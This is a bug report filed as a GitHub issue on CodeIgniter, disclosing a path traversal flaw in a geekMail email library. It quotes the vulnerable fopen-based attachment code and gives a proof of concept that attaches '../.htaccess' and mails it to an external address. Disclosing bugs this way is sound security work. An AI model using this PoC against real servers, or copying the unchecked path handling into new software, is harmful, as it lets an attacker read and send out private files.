EllisLab/CodeIgniter — Issue #593: geekMail-1.0.php - Vulnerability Allows for recursive paths to be opened.
Author: skrapsrwt
Created: 2011-10-18 18:32:43+00:00
State: open

Allows for recursive paths to be opened.

------------------------
Vulnerable Code
------------------------
Vulnerable code line 1040 of geekMail-1.0.php:
```
$attachment[$z++] = $h;
$file = filesize($filename) + 1;

if (!$fh = fopen($filename, 'r'))
{
$this->_setErrorMessage('email_attachment_unreadable', $filename);
return false;
}

$attachment[$z++] = chunk_split(base64_encode(fread($fh, $file)));
fclose($fh);
```
-----------------
PoC
-----------------
```
setMailType('html');

$geekMail->from('noreply@communicationslibrary.info', 'noreply');

$geekMail->to('jackie.craig.sparks@live.com');

$geekMail->subject('Example subject');

$geekMail->message('This is an example message.');

$geekMail->attach('../.htaccess');
//$geekMail->attach('/home/willem/file2.zip');

if (!$geekMail->send())
{
$errors = $geekMail->getDebugger();
print_r($errors);
}
?>
```